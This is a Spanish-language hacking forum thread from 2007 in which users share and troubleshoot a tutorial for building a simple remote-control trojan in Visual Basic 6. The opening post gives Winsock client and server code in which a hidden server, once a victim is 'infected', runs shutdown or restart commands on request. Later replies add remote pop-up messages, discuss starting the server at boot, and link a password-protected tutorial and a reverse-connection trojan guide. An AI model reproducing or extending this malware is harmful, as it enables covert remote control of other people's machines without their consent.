Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Agosto 21, 2008, 08:12:45
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Hack Novato  |  Troyanos y virus (Moderadores: -Erick-, Angelus_7722)  |  Tema: tuto pra crear simple troyano! 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] 2 Ir Abajo Imprimir
Autor Tema: tuto pra crear simple troyano!  (Leído 1104 veces)
SkullMaster123
Visitante
« en: Octubre 23, 2007, 06:29:33 »

Hoal bueno no he visto esto en algun otro post asi que lo voy a postear para los que comiensen con tryanos:D:D

Bueno este tuto no lo cree yo lo encontre en internet pero me parecio buena info y aki la posteoo!:D

Tuto

 ###########################
                        # Crear troyanos en visual#
                        #             Basic                #
                        #   Un troyano básico         #
                        ###########################



Buenas antes que nada , decir... a los lammers que no se dediquén a copiar código... y se dediquén a entenderlo.
En este manual explicaré como crear troyanos en visual Basic....

un troyano es una aplicacoón que se basa en el tan conocido Cliente/Servidor y que se trata de enviar datos desde un ordenador a otro
Manteniendo una comunicación...

En este caso en Nuestro troyano usaremos el protocolo TCP.


usaremos el programa visual basic 6.0 ( recomendado )

Bien empesemos con el aspecto gráfico del troyano....

Podnremos varais opciones a nuestro querido cliente...

1.) Apagar equipo
2.) Reiniciar equipo..

estas opciones son muy sensillas...

¿Por qué no pongo más ejemplos?

Por que siempre hay alguien que se dedica a aprovecharse de estos manuales para hacer lammeradas... en cambio otras personas lo hacen con fines productivos
y educativos...

Bien... Empesaremos a programar el aspecto Gráfico del cliente...

Abramos el visual basic 6.0

y Agregamos el control Winsock que se encuentre en: proyecto >>> componentes >>>

y lo agregamos al formulario...

Agregamos:

1 Textbox (text1.text )
2 Labels (label1 y label2)
4 CommandButton...

en el primer label Pondremos en la propiedad caption lo siguiente:

Host o Dirección IP:

y al lado ponemos el textbox.... aquí es donde se introducirá la IP de la víctima cuando la infectemos....

en el segundo label es donde ubicaremos el Estado de la conexión...

Por defecto ponemos en el caption:

Estado: Desconectado...

CommandButton1:

Sería el botón Conectar...

CommandButton2:

Desconectar...

CommandButton3:

Apagar equipo...

CommandButton4:

Reiniciar equipo...



En el botón Conectar pondremos el siguiente Código......

Winsock1.Close (para que pueda volver a conectar en caso de desconectarte)
Winsock1.RemoteHost = Text1.text (Aquí estamos diciendo que el host remoto será lo introducido en el textbox )
Winsock1.RemotePort = 8721 (especificamos el puerto.. en este caso.. el 8721)
Winsock1.Connect (Conecta)

en el botón desconectar pondremos lo siguiente...

Winsock1.Close


luego en el evento Connect del winsock haremos esto:

Private Sub winsock1_connect()
If Winsock1.State = sckConnected Then
Label2.caption = "Conectado"
End If
End Sub

en el botón Apagar añadimos el siguiente código...

Winsock1.SendData "apa"


en el botón reiniciar añadimos:

Winsock1.SendData "rei"




    ################################
                         server

    #################################


Ahora empesaremos con el server....

Agregamos el control winsock al formulario...

y le ponemos la propiedad visible en false en el formulario....

luego en el winsock en la propiedad LocalPort ponemos 8721

añadimos un textbox (text1.text ) que será la comprobación de texto desde el cliente....

y añadimos esto en el evento load del formulario.


MsgBox "Caistes en mis manos"
Winsock1.Listen ' El programa se pone a la escucha...
WAClase = "VBE"
End Sub



luego:

Private Sub Winsock1_ConnectionRequest(ByVal RequestID As Long)
Winsock1.Close
Winsock1.Accept RequestID (aceptamos conexiones)
End Sub
Private Sub Winsock1_DataArrival(ByVal bytestotal As Long)
Dim datos As String ( declaramos la variable datos )
Winsock1.GetData datos ( hacemos que todo lo que recibamos se almacene en la variable datos )
Text1.Text = datos ( el textbox es lo que recibamos )
End Sub

luego en el evento change del textbox

Private Sub Text1_Change()
if text1.text = "apa" Then
Shell ("cmd.exe /c shutdown -s -t 1"
end if
If Text1.Text = "rei" Then
Shell ("cmd.exe /c shutdown -r -t 2", vbHide
End If



Hasta aquí llega mi manual.... el troyano es muy básico.. pero si entendistes la lógica seguro que lo podrás mejorar mucho.


Cualquier error... diganmelo...


Saludos

Si tiene algun error avisarmer!! Saludoss
En línea
ZequeZ
Miembro
*****
Desconectado Desconectado

Mensajes: 104


Adicto PC


Ver Perfil WWW Email
« Respuesta #1 en: Octubre 23, 2007, 11:20:08 »

Wow! Shocked Deveras funciono! Y deveras que era simple xD.

Gracias, todavia no lo eh probado en otra maquina que no sea la mia, pero bueno, no importa, habra que probar jajaja, voy a hacer algo para poder enviar mensajes!, Muchisimas gracias por la base!!! Ojala funcione en otras computadoras ademas de la mia! xD

EDITO: Encontre algo que podria llamarse "error", la cosa es que si cerras el cliente, y despues lo volves abrir con el mismo servidor, no conecta... No se porque, abra que cerrar la coneccion anterior para que quede el puerto libre? Como es la cosa? Por cierto, hice que cambiara de color el cosito de conectado y desconectado, y tambien le agregue conectando ^^

Holas denuevo, asi como que tengo un problema para enviar una variable, osea, no me envia nada! El mensaje sale, pero vacio! Como hago para enviar la varible y recibirla bien?

Bueno, por lo menos lñogre que saliera algo diferente ahora: ???dul
Alguien tiene la mas remota idea de que es eso???
« Última modificación: Octubre 23, 2007, 12:02:07 por ZequeZ » En línea

Please wait...
Learning...
Learning...
Learning...
Cannot create a trojan
Learn more and try again
ZequeZ
Miembro
*****
Desconectado Desconectado

Mensajes: 104


Adicto PC


Ver Perfil WWW Email
« Respuesta #2 en: Octubre 23, 2007, 02:29:09 »

Bueno, ya descubri lo de "dul???", era que probando habia borrado el momento de declarar la varible xD y bueno  Lips Sealed mejor no hablemos xD

Bueno, la cosa es que ya puedo enviar mensajes, pero sigue pasando eso de que si me desconecto no me vuelvo a conectar a menos que cierre el servidor y lo abra denuevo... =(

Alguien sabe porque pasa esto?
En línea

Please wait...
Learning...
Learning...
Learning...
Cannot create a trojan
Learn more and try again
SkullMaster123
Visitante
« Respuesta #3 en: Octubre 23, 2007, 03:26:05 »

Hola bueno jeje como sabras yo tambien soy nuevo en esto de los troyanos, y sinceramente no se casi nada pero yo tengo un problema el troyano no funciona en mi makina:S no se porque pero cuando lo guardo y lo ejecuto me sale un mensaje que dice: "Errores de carga consulte 'C:\DOCUME~1\pedro\ESCRIT~\form1.log" para obtener mas detalles, y cuando voy a escritorio me sale un texto en notepad que dice "Línea 13: la clase MSWinsockLib.Winsock del control Winsock2 no era una clase de control cargada." Si alguien sabe ke tiene Profavor Postear!!

Saludos y Gracias!!
En línea
relojcromado
Habitual
*****
Desconectado Desconectado

Mensajes: 182



Ver Perfil
« Respuesta #4 en: Octubre 23, 2007, 06:52:33 »

A mi me sucede lo mismo me sale ese error  Shocked lo solucione no djando espacios de linias cuando terminan las instrucciones.

Pero me sale otro este error Error 424 se requiere un obejto, Por que?

Tengo que ejecutar el troyano d pc a pc , o  yo mismo lo puedo probar en mi computadora?

Gracias me acabas de despertar el gusto por VB Grin
En línea

SkullMaster123
Visitante
« Respuesta #5 en: Octubre 24, 2007, 06:17:25 »

saludso bueno me gusta que les guste el Tuto:D jeje pero bueno y ode verdad noc NADA de NAda en VB ahora tengo una pregunta? cuando me dice esto
Citar
En el botón Conectar pondremos el siguiente Código......

Winsock1.Close (para que pueda volver a conectar en caso de desconectarte)
Winsock1.RemoteHost = Text1.text (Aquí estamos diciendo que el host remoto será lo introducido en el textbox )
Winsock1.RemotePort = 8721 (especificamos el puerto.. en este caso.. el 8721)
Winsock1.Connect (Conecta)

en el botón desconectar pondremos lo siguiente...

Winsock1.Close


luego en el evento Connect del winsock haremos esto:

Private Sub winsock1_connect()
If Winsock1.State = sckConnected Then
Label2.caption = "Conectado"
End If
End Sub

en el botón Apagar añadimos el siguiente código...

Winsock1.SendData "apa"


en el botón reiniciar añadimos:

Winsock1.SendData "rei"

por ejemplo cuando dice que inserte el primer codigo en el botton conectar Yo le tengo que dar doble click al boton conectar, o como hago??

Saludos y Gracias!

P.D: Encontre otro manual de troyanos simples que permite abrir la lectora de CD abrir bloc de notas y otras cosas!! luego lo opsteoo
En línea
SeNeGe
Visitante
« Respuesta #6 en: Octubre 24, 2007, 06:46:09 »

hola bueno fuente ¿
salu2

PD: buena info
En línea
SkullMaster123
Visitante
« Respuesta #7 en: Octubre 24, 2007, 07:14:50 »

Hola bueno este es el link: http://rapidshare.com/files/54137846/Creacion_de_un_troyano_en_Vb60.rar

Password: dradahack

Porfavor si alguien sabe algo del error que postee antes plz ayudarmee!!! gracias!!:)
En línea
ZequeZ
Miembro
*****
Desconectado Desconectado

Mensajes: 104


Adicto PC


Ver Perfil WWW Email
« Respuesta #8 en: Octubre 24, 2007, 10:03:39 »

Hola bueno jeje como sabras yo tambien soy nuevo en esto de los troyanos, y sinceramente no se casi nada pero yo tengo un problema el troyano no funciona en mi makina:S no se porque pero cuando lo guardo y lo ejecuto me sale un mensaje que dice: "Errores de carga consulte 'C:\DOCUME~1\pedro\ESCRIT~\form1.log" para obtener mas detalles, y cuando voy a escritorio me sale un texto en notepad que dice "Línea 13: la clase MSWinsockLib.Winsock del control Winsock2 no era una clase de control cargada." Si alguien sabe ke tiene Profavor Postear!!

Saludos y Gracias!!

Bueno, osea, yo use un winsock para cada programa (el cliente y el servidor), osea que seria winsock1 =S

Y por otro lado, respondiendo a relojcromado, si lo podes usar en tu propia maquina ^^, para saber tu ip entra a http://www.cual-es-mi-ip.net y ahi te dicer la ip.

Y un aviso para todos los que no tengan idea de lo del comando para apagar:
Si lo van a probar en su propia maquina cambien:

Esto: shutdown -f -s -t 2
Por esto: shutdown -f -s -t 600

Esto es para que no se les apague la maquina en 2 segundos xD (lo mismo con el reiniciado)
Para cancelar el apagado, van a ejecutar y escriben: shutdown -a

Bueno, espero que les alla servido =P

Salu2
ZequeZ ^^

PD: Todavia estoy con el problema de la reconeccion =(

En línea

Please wait...
Learning...
Learning...
Learning...
Cannot create a trojan
Learn more and try again
SkullMaster123
Visitante
« Respuesta #9 en: Octubre 24, 2007, 11:37:12 »

Hola Alfin resolvi el problemaa!!!:D:D:D jeje bueno ahora voy a investigar lo de volverse a conectar "Creo" que lo que le falta es que cada ves que la makina se prenda o algo asi el programa se ejecute para asi poder conectarse! = investigare pero si alguien sabe porfavor postearloo!!:P

Saludos

P.D:Les recomiendo el otor manual tambien es buenoo!:P
En línea
ZequeZ
Miembro
*****
Desconectado Desconectado

Mensajes: 104


Adicto PC


Ver Perfil WWW Email
« Respuesta #10 en: Octubre 25, 2007, 04:56:20 »

Hola, el problema no es de conectarse cuando la maquina se enciende, es facil hacer que el programa se encienda con la maquina, el problema es que cuando uno de los 2 se desconecta, despues no se puede volver a conectar =S

Igualmente hay que investigar ^^
Y por otro lado, ahora mismo estoy por abrir el segundo manual =P

Salu2
ZequeZ  Wink
En línea

Please wait...
Learning...
Learning...
Learning...
Cannot create a trojan
Learn more and try again
Angelus_7722
Moderadores
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1220



Ver Perfil
« Respuesta #11 en: Octubre 25, 2007, 06:45:23 »

Bueno............... pueden darle una mirada al cuh e-zine de el-hacker.com, en el puede encontrar la forma de programar un troyano de conexion inversa en visual.........les puede ser  util e incluso pueden sacar nuevas ideas o dado el caso  implementar las existentes.

http://foro.el-hacker.com/index.php/topic,105614.msg394490.html#msg394490

saludos
« Última modificación: Octubre 25, 2007, 06:46:42 por Angelus_7722 » En línea

SkullMaster123
Visitante
« Respuesta #12 en: Octubre 25, 2007, 11:31:21 »

Hola buenoGracias por tu aporte Angelus_7722 sera de mucha ayuda, y Zequez yo tambien estoy investigando a ver como hago pues si trancamos el Cliente ya no c peude conectar mas al server pero y si hacemos que cada ves que se inicie la pc se inicie el server nada mas tendriamos una ves para conectarnos!:S jeje eso no me gusta!XD, Bueno y otra cosa alguien sabe alguna manera de hacer que se envie un mensaje a la pc que halla ejecutado el server?? osea que el mensaje que yo escriba le aparesca??:S

Saludoss!!
En línea
-Erick-
Moderadores
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1482



Ver Perfil WWW Email
« Respuesta #13 en: Octubre 26, 2007, 01:49:50 »

Hola buenoGracias por tu aporte Angelus_7722 sera de mucha ayuda, y Zequez yo tambien estoy investigando a ver como hago pues si trancamos el Cliente ya no c peude conectar mas al server pero y si hacemos que cada ves que se inicie la pc se inicie el server nada mas tendriamos una ves para conectarnos!:S jeje eso no me gusta!XD, Bueno y otra cosa alguien sabe alguna manera de hacer que se envie un mensaje a la pc que halla ejecutado el server?? osea que el mensaje que yo escriba le aparesca??:S

Saludoss!!
Si es muy facil,yo en el mio tengo 2 textbox,uno para el titulo del mensaje y otro para el mensaje.
4 optionbutton para el tipo de mensaje(critical,information...)
Entonces aqui te paso el codigo:
Código:
If Option1.Value = True Then
enviar "infor|" & Text2.Text & "|" & Text3.Text
ElseIf Option2.Value = True Then
enviar "criti|" & Text2.Text & "|" & Text3.Text
ElseIf Option3.Value = True Then
enviar "excl|" & Text2.Text & "|" & Text3.Text
ElseIf Option4.Value = True Then
enviar "ques|" & Text2.Text & "|" & Text3.Text
End If
Esto en el cliente

Y en el server:
Código:
Case "infor"                                      'MENSAJES
MsgBox data(2), vbInformation, data(1)
Case "criti"
MsgBox data(2), vbCritical, data(1)
Case "excl"
MsgBox data(2), vbExclamation, data(1)
Case "ques"
MsgBox data(2), vbQuestion, data(1)

Y ya está.
Leete el manual de la e-zine,para lo de la conexion y envio/recibo de datos.
Saludos.
En línea


SkullMaster123
Visitante
« Respuesta #14 en: Octubre 26, 2007, 06:22:04 »

Muchisisimas Gracias -Erick- Grin Sera de muchisima ayudaa!! Wink
En línea
SkullMaster123
Visitante
« Respuesta #15 en: Octubre 26, 2007, 11:55:44 »

Hola bueno era para decirte que no me funciono!:S
Cuando trato de crear el server me sale un mensaje de error y me señala la parte de deta y me dice que no se especifico Sub?:S a que se debe esto??
En línea
-Erick-
Moderadores
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1482



Ver Perfil WWW Email
« Respuesta #16 en: Octubre 27, 2007, 12:21:52 »

Hola bueno era para decirte que no me funciono!:S
Cuando trato de crear el server me sale un mensaje de error y me señala la parte de deta y me dice que no se especifico Sub?:S a que se debe esto??
El codigo está bien,lo k pasa es que no está tal cual para hacer un copy/paste.
Leete el manual de la e-zine,y entenderás lo k se hace y donde lo tienes que poner.
Te lo debe marcar poruqe no has declarado la variable...
En línea


SkullMaster123
Visitante
« Respuesta #17 en: Octubre 27, 2007, 05:02:08 »

Bueno erick gracias, y disculpa por ser tan ignorante y pensar que me iban a acr el codigo! Undecided me pondre a leer la E-Zine Saludoss!! Wink
En línea
Lord expertus
Recien Llegado
*
Desconectado Desconectado

Mensajes: 15


Ver Perfil Email
« Respuesta #18 en: Octubre 28, 2007, 01:10:58 »

Me descargue el manual, hice el cliente (todavia mo el server), y cuando lo quiero abrir (el cliente) me saca este error:

En línea
[p3ll3]
Colaborador
*****
Desconectado Desconectado

Mensajes: 525

Read The Fucking Manual && STFU xDDD


Ver Perfil WWW
« Respuesta #19 en: Octubre 28, 2007, 03:00:50 »

sino me equivoco eso es porque tienes que dejar a un servidor a escucha  o porque copiaste mal el cliente  Cheesy

date una vuelta por aca

Saludos......... Cool
« Última modificación: Octubre 28, 2007, 03:24:15 por P3ll3 » En línea



relojcromado
Habitual
*****
Desconectado Desconectado

Mensajes: 182



Ver Perfil
« Respuesta #20 en: Octubre 28, 2007, 04:54:24 »

A mi me sale ese mismo error,  Grin

Servidor a escucha?Huh

 ZequeZ dijo que podia probarlo en mi ordenador

Kmmo kiera voya echarle un vistazo al chuezine
En línea

[p3ll3]
Colaborador
*****
Desconectado Desconectado

Mensajes: 525

Read The Fucking Manual && STFU xDDD


Ver Perfil WWW
« Respuesta #21 en: Octubre 28, 2007, 05:32:25 »

Si, al no recibir respuesta el cliente de algun servidor que este a escucha , entonces le devuelve ese error.

Nunca va a servir el cliente solo , ya que este necesita del servidor para establecer una conexion por medio de los Winsocks y poder comunicarse.

En el foro hay bastante info es solo leer un poco.


Saludos............................. Cool
« Última modificación: Noviembre 29, 2007, 12:05:20 por [p3ll3] » En línea



flasher
Miembro
*****
Desconectado Desconectado

Mensajes: 45


Ver Perfil
« Respuesta #22 en: Noviembre 04, 2007, 04:45:50 »

Hola, estoy intentando seguir vuestra estela..... Tongue¿en el visual studio 2005 no esta el winshock?no lo encuentro, no se si es porque esta en español...
gracias
En línea
relojcromado
Habitual
*****
Desconectado Desconectado

Mensajes: 182



Ver Perfil
« Respuesta #23 en: Noviembre 06, 2007, 01:32:25 »

mmmmmmmmmmm jeje  de plano necesito leer mucho todabiaa  Undecided

saludoss gracias por su aporte
En línea

[p3ll3]
Colaborador
*****
Desconectado Desconectado

Mensajes: 525

Read The Fucking Manual && STFU xDDD


Ver Perfil WWW
« Respuesta #24 en: Noviembre 07, 2007, 10:48:36 »

Si no me equivoco el visual studio no trae el winsock , entonces tienes 2 opciones: bajarte el visual 6 , o intentar programar el troyano con las opciones que tiene el visual studio para hacer conexiones cliente-servidor.



Saludos......................... Cool
En línea



Páginas: [1] 2 Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Hack Novato  |  Troyanos y virus (Moderadores: -Erick-, Angelus_7722)  |  Tema: tuto pra crear simple troyano! « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC